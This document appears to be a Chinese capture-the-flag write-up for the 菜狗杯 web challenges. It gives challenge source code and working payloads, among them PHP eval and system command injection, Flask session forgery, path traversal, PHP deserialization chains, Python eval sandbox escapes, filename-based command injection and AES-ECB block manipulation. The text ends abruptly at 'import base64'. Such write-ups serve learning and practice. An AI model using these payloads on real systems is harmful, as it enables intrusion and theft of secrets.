菜狗杯 WEB题Writeup

菜狗杯 WEB题Writeup

阅读提示

本文共6,751字,阅读大约需13分钟。

本文章整理了菜狗杯Web题的全部题解,部分题目有参考其他题解。总体来说,菜狗杯Web题目难度较低(当然也有一些难题),考点明显,而且考的知识点也比较全面,很适合我们小白入门。

[WEB] web签到

题目链接:https://ctf.show/challenges#web签到-3867

题目源代码:

error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

由代码可知,需要一个套娃,Payload可以是:

POST /?b=c HTTP/1.0
Host: <host>
Cookie: CTFshow-QQ%E7%BE%A4:=a
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

a=b&c[6][0][7][5][8][0][9][4][4]=system('cat /f*');

请求即可获得flag。值得注意的是,请求时,中文需要先URLEncode一下,否则请求可能会出错。

[WEB] c0me_t0_s1gn

题目链接:https://ctf.show/challenges#web2 c0me_t0_s1gn-3868

查看源代码,可获取第一部分的flag:ctfshow{We1c0me_
再在控制台输入g1ve_flag(),获取第二部分flag:t0_jo1n_u3_!}

拼接即可:ctfshow{We1c0me_t0_jo1n_u3_!}

[WEB] 我的眼里只有$

题目链接:https://ctf.show/challenges#我的眼里只有$-3869

题目源代码:

error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

可见,是一个比较复杂的套娃,$_ 对应的值给$$_,以此类推…
可以写python脚本,来完成这个套娃,数了数$,大概有36个

if __name__ == '__main__':
    payload = '_=a&'
    l = list('abcdefghijklmnopqrstuvwxyz') + ['aa', 'ab', 'ac', 'ad', 'ae', 'af', 'ag', 'ah', 'ai', 'aj', 'ak']
    for i in range(35):
        payload += f'{l[i]}={l[i + 1]}&'
    print(payload)

    import random

    print(random.randint(1, 100))

生成一个初步payload:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=ab&ab=ac&ac=ad&ad=ae&ae=af&af=ag&ag=ah&ah=ai&ai=aj&

稍作修改,加入执行语句,构造最终payload:

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=aa&aa=ab&ab=ac&ac=ad&ad=ae&ae=af&af=ag&ag=ah&ah=ai&ai=system("cat /f*");

Postman请求一下,即可获得flag。

[WEB] 抽老婆

题目链接:https://ctf.show/challenges#抽老婆-3870

找到下载老婆按钮的链接:http://host/download?file=xxxx,把?file=xxxx修改掉,网页会报错,根据报错,可以知道以下信息:

  • 网页使用Flask编写
  • 当前目录是:/app/static/img/
  • 返回文件的代码是:return send_file('static/img/'+filename,as_attachment=True)

因此,可以访问/download?file=../../app.py下载网页源代码:

# !/usr/bin/env python
# -*-coding:utf-8 -*-

"""
# File       : app.py
# Time       :2022/11/07 09:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:抽老婆,哇偶~
"""

from flask import *
import os
import random
from flag import flag

#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'

@app.route('/', methods=['GET'])
def index():  
    return render_template('index.html')


@app.route('/getwifi', methods=['GET'])
def getwifi():
    session['isadmin']=False
    wifi=random.choice(os.listdir('static/img'))
    session['current_wifi']=wifi
    return render_template('getwifi.html',wifi=wifi)



@app.route('/download', methods=['GET'])
def source(): 
    filename=request.args.get('file')
    if 'flag' in filename:
        return jsonify({"msg":"你想干什么?"})
    else:
        return send_file('static/img/'+filename,as_attachment=True)


@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
    if session['isadmin']:
        return jsonify({"msg":flag})
    else:
        return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})



if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=True)

得到了SECRET_KEYtanji_is_A_boy_Yooooooooooooooooooooo!,接着,只需要伪造一个Session,然后访问/secret_path_U_never_know,即可获得flag。

进入Kali,用flask-session-cookie-manager生成一个Session(注意SECRET_KEY最后还有一个感叹号,不要漏了),原文可以是:

{'isadmin': True}

得到生成的Session

eyJpc2FkbWluIjp0cnVlfQ.Y7Z_eQ.YKgYUO38Q_hMrzYwzDrhh4B9tS8

session覆盖,访问/secret_path_U_never_know,即可获得flag。

[WEB] 一言既出

题目链接:https://ctf.show/challenges#一言既出-3871

题目源代码:

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
    if ($_GET['num'] == 114514){
        assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
        echo $flag;
    } 
} 
  1. PHP判断整数会忽略后面的字符,所以只需前面是114514即可。
  2. assert语句是拼接的,因此,在判断之前截断assert语句即可。

最终Payload:

num=114514);//

[WEB] 驷马难追

题目链接: https://ctf.show/challenges#驷马难追-3872

题目源代码:

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){
     if ($_GET['num'] == 114514 && check($_GET['num'])){
              assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
              echo $flag;
     } 
} 

function check($str){
  return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

该题目将上一题的绕过方法修复了,因此,需要通过其他的办法来绕过。
我们知道,用==运算符比较字符串和数字时,会自动截断到合法数字为止,而assert语句是拼接而来的,可以用表达式求值,因此,只需算出1919810-114514=?,构造一个114514+?的payload即可。
最终payload:

?num=114514%2B1805296

[WEB] TapTapTap

题目链接:https://ctf.show/challenges#TapTapTap-3873

看了一下Network,在游戏结束时没有任何XHR请求,因此,是一个纯前端的游戏,因此,flag一定藏在源代码里面。

查看habibiScript.js,发现511-515行十分可疑,base64解码后可发现文字是:

Your flag is in /secret_path_you_do_not_know/secretfile.txt

访问对应链接,即可获得flag。

[WEB] Webshell

题目链接:https://ctf.show/challenges#Webshell-3874

题目源代码:

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?>

一道十分基础的PHP反序列化题目,根据题意,在本地PHP环境复制代码,创建变量,将cmd变量设置为需要执行的语句即可,由于不能有含flag的字符,因此,使用cat f*

$p = new Webshell();
$p->cmd = 'cat f*';

echo 'cmd<br/>'.serialize($p);

最终Payload:

?cmd=O:8:"Webshell":1:{s:3:"cmd";s:6:"cat%20f*";}

访问即可获得flag。

[WEB] 化零为整

题目链接:https://ctf.show/challenges#化零为整-3875

题目源代码:

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

很明显,代码的意思是,每个query值长度只能为1,因此,可以把大牛进行URLEncode以后,拆开来请求。大牛的URLEncode结果为:

%E5%A4%A7%E7%89%9B

因此,最终Payload可以是:

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

请求即可获得flag。

[WEB] 无一幸免

题目链接:https://ctf.show/challenges#无一幸免-3876

该题题解同样适用于无一幸免_FIXED

题目源代码:

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

这道题目的代码有些问题,正确的是(详见无一幸免_FIXED):

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die("nonono!");
    }
    else{
        die($flag);
    }
}

这道题考察的是对PHP语言的理解,$arr[]=1意思是在原先$arr[]的末尾添加一个值为1的元素,因此,$_GET['0']便决定了$arr[]的末尾在哪里。$arr[]=1这句语句在通常情况下不会为false,但是如果遇到数组下标超过整型范围的情况,就有可能会报错。因此,这道题的目的就是要构造一个数值数组,然后让下标足够大,能够让下一个元素无法插入。
但是,根据尝试发现,若一个数字过大(超过int64),他就会被视为字符串,在这种情况下,$arr[]=1会直接作用于$arr[0],依然可以插入成功。因此,这个值只能是int的最大值,根据系统不同,可以是int64,即9223372036854775807或者int32,即2147483647
因此,该题的payload是:

?0=9223372036854775807

或者

?0=2147483647

[WEB] 传说之下(雾)

题目链接:https://ctf.show/challenges#传说之下(雾)-3877

虽然这道题的BGM是旋律优美的Undertale,但是由于是蜂鸣器演奏的,实在太吵了(恼)

查看Network,同样没有XHR请求,说明也是一道纯前端的题目。
检查源代码,发现js代码中只有这一段是被混淆的:

        var _0x51a37f = _0xd0bf;
function _0xd0bf(_0x8ea4f1, _0x153eba) {
    var _0x2d5fff = _0x3a99();
    return _0xd0bf = function (_0x213a01, _0x4437b0) {
        _0x213a01 = _0x213a01 - (-0x24b * 0x3 + 0x1e4d + -0x15f3);
        var _0x1831ec = _0x2d5fff[_0x213a01];
        return _0x1831ec;
    }, _0xd0bf(_0x8ea4f1, _0x153eba);
}
(function (_0x5879ce, _0x490303) {
    var _0x4adf0b = _0xd0bf, _0x14fe61 = _0x5879ce();
    while (!![]) {
        try {
            var _0x3368fa = parseInt(_0x4adf0b(0x17d)) / (0x85b + -0x171f * 0x1 + 0xec5) + parseInt(_0x4adf0b(0x17f)) / (-0xdae * -0x2 + -0x838 + -0x1322) * (parseInt(_0x4adf0b(0x18e)) / (-0x2a4 * 0x4 + 0x1bea + -0x17 * 0xc1)) + -parseInt(_0x4adf0b(0x18f)) / (-0x2062 + -0x1ced * -0x1 + 0x379) + -parseInt(_0x4adf0b(0x17a)) / (-0x1ec3 + 0x201 + 0x1cc7) * (-parseInt(_0x4adf0b(0x189)) / (0x709 + 0x1cb2 + -0x23b5)) + parseInt(_0x4adf0b(0x185)) / (-0x1085 * -0x1 + -0x4 * 0x282 + -0x1 * 0x676) + parseInt(_0x4adf0b(0x179)) / (-0x473 * -0x1 + 0x1989 + -0x1df4) * (parseInt(_0x4adf0b(0x186)) / (0x16 * 0x6d + -0x83 * -0xd + -0x84 * 0x1f)) + -parseInt(_0x4adf0b(0x18d)) / (0x7 * -0x84 + 0x21b2 + -0x1e0c) * (parseInt(_0x4adf0b(0x184)) / (0x17b * -0xd + 0xcf7 + 0x653 * 0x1));
            if (_0x3368fa === _0x490303)
                break;
            else
                _0x14fe61['push'](_0x14fe61['shift']());
        } catch (_0x3c8741) {
            _0x14fe61['push'](_0x14fe61['shift']());
        }
    }
}(_0x3a99, 0x26a17 * -0x2 + 0x334e5 * -0x2 + -0x6 * -0x29f2a));
function _0x3a99() {
    var _0x6365e6 = [
        'eXfuD',
        'yfTdI',
        'charCodeAt',
        'oefsssssub',
        '107261wPkTeG',
        '1935661bzjetL',
        '9OkgpFt',
        'log',
        'length',
        '709338pessOW',
        'dugtipx|Vo',
        '2f~',
        'score',
        '880pmgWkE',
        '612rsBWTd',
        '455396nIHYMm',
        'o`o1\x22`///v',
        '4056824evCFGM',
        '5MYkiiK',
        'efs1qi2ej5',
        'fromCharCo',
        '134328iWOQrn',
        'split',
        '2254sHDwVo'
    ];
    _0x3a99 = function () {
        return _0x6365e6;
    };
    return _0x3a99();
}
if (this[_0x51a37f(0x18c)] > 0x246e + 0x10aa * -0x2 + 0x1 * 0x503) {
    function decypher(_0x5d2ae9 = _0x51a37f(0x18a) + _0x51a37f(0x17b) + _0x51a37f(0x190) + _0x51a37f(0x183) + _0x51a37f(0x18b)) {
        var _0x277e4a = _0x51a37f, _0x137bfb = {
                'yfTdI': function (_0x463ef8, _0x28dc0f) {
                    return _0x463ef8 < _0x28dc0f;
                },
                'eXfuD': function (_0x7e7ab9, _0x3f1d95) {
                    return _0x7e7ab9 - _0x3f1d95;
                }
            }, _0x5bc4fe = _0x5d2ae9[_0x277e4a(0x17e)](''), _0x129a83 = '';
        for (var _0x2bc8d1 = -0xc68 * -0x3 + 0x8db * -0x4 + -0x1cc; _0x137bfb[_0x277e4a(0x181)](_0x2bc8d1, _0x5bc4fe[_0x277e4a(0x188)]); _0x2bc8d1++) {
            var _0x3a0f1b = _0x5bc4fe[_0x2bc8d1][_0x277e4a(0x182)](-0x10 * 0x4d + -0x1f1 + 0x6c1);
            _0x3a0f1b = _0x137bfb[_0x277e4a(0x180)](_0x3a0f1b, -0x6 * 0x52b + 0x1 * 0xb5f + 0x13a4), _0x129a83 += String[_0x277e4a(0x17c) + 'de'](_0x3a0f1b);
        }
        return _0x129a83;
    }
    console[_0x51a37f(0x187)](decypher());
}

最后的if很可疑,大概率就是判断是否满足游戏条件的部分,把if判断给去掉,再把整段代码在console跑一下,很快就得出了flag。

ctfshow{Under0ph1di4n_n0!_...underrrrrta1e}

[WEB] 算力超群

题目链接:https://ctf.show/challenges#算力超群-3878

打开页面,是一个计算器,随便输入一点东西,抓包得到请求地址/_calculate?number1=&operator=&number2=0.
试着随便请求一些东西,发现operator参数被限制只能输入特定的一些运算符,但是number2可以随便输入。随便输入了一些字母,发现进入了flask的调试界面,易得计算原理是:

result = eval(a + operator + b)

因此,可以构造以下payload:

/_calculate?number1=&operator=&number2=__import__(%27os%27).popen("cat%20/flag").read()

访问即可获得flag。

[WEB] 算力升级

题目链接:https://ctf.show/challenges#算力升级-3879

这道题相较于算力超群有了更多限制,点击查看源码可知:

    for item in pattern.findall(code):#从code里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
    try:
        result=eval(code)
        return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
    except:
        return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})

非数字的部分,只能使用gmpy2库里的函数名,那么只需要用函数名包含的字符来拼接payload即可,可以写一个python脚本来生成payload:

import gmpy2


def constructCmd(cmd):
    result = ''
    for c in cmd:
        b = False
        for cc in dir(gmpy2):
            if c in cc:
                result += f'\'{cc}\'[{cc.find(c)}]+'
                b = True
                break
        if not b:
            result += f"'{c}'+"
    return "gmpy2.__builtins__['Default'[1]+'DivisionByZeroError'[2]+'Default'[3]+'Default'[5]](" + result[0:len(result)-1] + ")"


if __name__ == '__main__':
    print(constructCmd('__import__("os").popen("cat /flag").read()'))
    print(eval(constructCmd('__import__("os").popen("whoami").read()')))

最后生成的payload为:

gmpy2.__builtins__['Default'[1]+'DivisionByZeroError'[2]+'Default'[3]+'Default'[5]]('HAVE_THREADS'[4]+'HAVE_THREADS'[4]+'DivisionByZeroError'[1]+'__name__'[4]+'InvalidOperationError'[8]+'DivisionByZeroError'[6]+'DivisionByZeroError'[12]+'Default'[6]+'HAVE_THREADS'[4]+'HAVE_THREADS'[4]+'('+'"'+'DivisionByZeroError'[6]+'DivisionByZeroError'[4]+'"'+')'+'.'+'InvalidOperationError'[8]+'DivisionByZeroError'[6]+'InvalidOperationError'[8]+'Default'[1]+'DivisionByZeroError'[7]+'('+'"'+'InexactResultError'[5]+'Default'[3]+'Default'[6]+' '+'/'+'Default'[2]+'Default'[5]+'Default'[3]+'RangeError'[3]+'"'+')'+'.'+'DivisionByZeroError'[12]+'Default'[1]+'Default'[3]+'InvalidOperationError'[6]+'('+')')

提交计算,即可获得flag。

[WEB] easyPytHon_P

题目链接:https://ctf.show/challenges#easyPytHon_P-3880

题目源代码:

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

这道题其实比想象中简单很多,尝试性地发送了一个cmd=lsparam=-la,发现就直接能够获取到ls命令的结果,那么接下来只需要找到flag的位置,读取它。在根目录没有直接找到他,但是发现了start.sh,内容如下:

#!/bin/bash

echo $FLAG >/app/flag.txt
echo "flag done"
cd /app 
python /app/app.py&
tail -F /dev/null

from flask import request
cmd: str = ['cat', '/start.sh'][0]
param: str = ['cat', '/start.sh'][1]
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')Done!

可知,flag在/app/flag.txt,因此,请求cat /app/flag.txt即可。

另一种可行的解法

我们已知,flag是通过环境变量设置的,因此,请求cat /proc/self/environ也可以获得flag。

[WEB] 遍地飘零

题目链接:https://ctf.show/challenges#遍地飘零-3881

题目源代码:

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

很明显,这道题目将每个query的key赋值成了value,我们又知道,flag存在$flag变量中,因此,可以构造如下payload,把flag套出来。

/?_GET=flag

[WEB] 茶歇区

题目链接:https://ctf.show/challenges#茶歇区-3882

这道题是通过乘法计算超过整数范围从而溢出的方式使得得分超过正常值,因此,可以第一次请求:

火腿肠	922337203685477580
面包	9223372036854775807
咖啡	9223372036854775807

这个时候,可以获得大量的余额,将这些全部换咖啡,即可获得超过114514的得分。
第二次请求:

咖啡	8301034833169302528

即可获得flag,本题答案不唯一,可以多尝试。

[WEB] 小舔田?

题目链接:https://ctf.show/challenges#小舔田?-3883

题目源代码:

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

一道有点复杂的PHP反序列化题目,总体来说就是套娃把flag给套出来。
本地代码如下:

$moon2 = new Moon();
$moon = new Moon();
$moon2->name = "小甜甜";
$moon->name = new Ion_Fan_Princess();
$moon->name->nickname = $moon2;
echo serialize($moon);

构造出的payload为:

/?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";O:4:"Moon":1:{s:4:"name";s:9:"小甜甜";}}}

请求即可获得flag。

[WEB] LSB探姬

题目链接:https://ctf.show/challenges#LSB探姬-3884

这道题与图片隐写没有任何关系。查看源代码:

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():    
    return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            f = request.files['file']
            f.save('upload/'+f.filename)
            cmd="python3 tsteg.py upload/"+f.filename
            result=os.popen(cmd).read()
            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
            return jsonify(data)
        except:
            data={"code":1,"message":"file upload error!"}
            return jsonify(data)
    else:
        return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

可知,cmd部分是通过字符串拼接的方式实现的,这就给我们了可乘之机。使用burp构造以下payload:

POST /upload HTTP/1.1
Host: <host>
Content-Length: 188
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0L2V4qzX5YlQnV0X
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary0L2V4qzX5YlQnV0X
Content-Disposition: form-data; name="file"; filename="a||cat flag.py"
Content-Type: image/jpeg


------WebKitFormBoundary0L2V4qzX5YlQnV0X--

即可获得flag。

[WEB] Is_Not_Obfuscate

题目链接:http://22771d42-75e0-4ed4-b6fa-463e8aee3f27.challenge.ctf.show/

查看网页源代码,发现注释:

<!-- <button name="action" value="test"> 执行 (do)</button>-->
<!-- After that,delete the robots.txt!-->

访问robots.txt,内容如下:

User-agent: *
Allow: /lib.php$
Disallow: /lib.php?flag=0
Disallow: /plugins

访问/lib.php?flag=0,发现是空的,但是把flag修改一下,就会出现base64加密的密文:

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT

使用之前的提示,POST一个action为test的请求,内容是上面的密文,即可看到网页源代码:

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

?>

// ...

分析代码可知,push操作是将代码上传并保存到/plugins/文件夹中,文件名按照md5($_GET['output'].'youyou')加密。pull操作则是运行文件夹中的代码。因此,只需要预先写好push的语句,然后计算出文件名,pull下来,即可执行语句中的命令了。
push的内容可以是:

system("cat /f*");

文件名则为:1f100b1303ce38981e078eab341678a7
pull一下即可获得flag。

[WEB] 龙珠NFT

题目链接:https://ctf.show/challenges#龙珠NFT-3886

这道题目有一些难度。首先查看源代码:

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:DragonBall Radar (BlockChain)
"""
import hashlib
from flask import *
import os
import json
import hashlib
from Crypto.Cipher import AES
import random
import time
import base64
#网上找的AES加密代码,加密我又不懂,加就完事儿了
class AESCipher():
    def __init__(self,key):
        self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16])
        self.model = AES.MODE_ECB
        self.aes = AES.new(self.key,self.model)
    def add_16(self,par):
        if type(par) == str:
            par = par.encode()
        while len(par) % 16 != 0:
            par += b'\x00'
        return par
    def aesencrypt(self,text):
        text = self.add_16(text)
        self.encrypt_text = self.aes.encrypt(text)
        return self.encrypt_text
    def aesdecrypt(self,text):
        self.decrypt_text = self.aes.decrypt(text)
        self.decrypt_text = self.decrypt_text.strip(b"\x00")
        return self.decrypt_text
#初始化全局变量
app = Flask(__name__)
flag=os.getenv('FLAG')
AES_ECB=AESCipher(flag)
app.config['JSON_AS_ASCII'] = False
#懒得弄数据库或者类,直接弄字典就完事儿了
players={}
@app.route('/', methods=['GET'])
def index():
    """
    提供登录功能
    """
@app.route('/radar',methods=['GET','POST'])
def radar():
   """
   提供雷达界面
   """
@app.route('/find_dragonball',methods=['GET','POST'])
def  find_dragonball():
    """
    找龙珠,返回龙珠地址
    """
    xxxxxxxxxxx#无用代码可以忽略
    if search_count==10:#第一次搜寻,给一个一星龙珠
        dragonball="1"
    elif search_count<=0:
        data={"code":1,"msg":"搜寻次数已用完"}
        return jsonify(data)
    else:
        random_num=random.randint(1,1000)
        if random_num<=6:
            dragonball=一个没拿过的球,比如'6'
        else:
            dragonball='0'#0就代表没有发现龙珠
    players[player_id]['search_count']=search_count-1
    data={'player_id':player_id,'dragonball':dragonball,'round_no':str(11-search_count),'time':time.strftime('%Y-%m-%d %H:%M:%S')}
    #json.dumps(data)='{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}'
    data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()
    return jsonify(data)
@app.route('/get_dragonball',methods=['GET','POST'])
def get_dragonball():
    """
    根据龙珠地址解密后添加到用户信息
    """
    xxxxxxxxx#无用代码可以忽略
    try:
        player_id=request.cookies.get("player_id")
        address=request.args.get('address')
        data=AES_ECB.aesdecrypt(base64.b64decode(address))
        data=json.loads(data.decode())
        if data['dragonball'] !="0":
            players[data['player_id']]['dragonballs'].append(data['dragonball'])
            return jsonify({'get_ball':data['dragonball']})
        else:
            return jsonify({'code':1,'msg':"这个地址没有发现龙珠"})
    except:
        return jsonify({'code':1,'msg':"你干啥???????"})
@app.route('/flag',methods=['GET','POST'])
def get_flag():
    """
    查看龙珠库存
    """
    #如果有7颗龙珠就拿到flag~
@app.route('/source',methods=['GET','POST'])
def get_source():
    """
    查看源代码
    """
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

乍一看其实没有任何突破口,其实问题出在AES加密上,查阅资料可知,AES_ECB加密模式是将原始内容按照128bits为内容块,分块加密,每个128bits的内容块都会被加密成128bits的密文块,最后拼接,以base64编码展示。不足128bits的内容块,将会用add_16函数补零,然后再加密。因此,如果我们以一个密文块(128bits)为单位删去任意一个密文块,都不会影响AES密文的正常解密,这便是本道题的核心突破口。
我们可以看到,龙珠地址加密前的原始内容是形如下方内容的json文本:

{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}

将它们以128bits为一组排列(即16字符一组),呈现以下状态

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball": 
"1", "round_no":
 "9", "time":"20
22-10-19 15:06:4
5"}

然后,再仔细观察源代码,发现其实round_no并不重要,决定龙珠是否拿到是判断dragonball是否非零,而且是否与之前重复。因此,我们可以把

"1", "round_no":

这一行删去,原文便变成了:

{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball": 
 "9", "time":"20
22-10-19 15:06:4
5"}

dragonball对应的值正好与round_no对应了,这样,只需要多次搜索龙珠,获取并提交处理过的地址,最后得到的dragonball一定是不同的。

处理地址的代码如下:

import base64

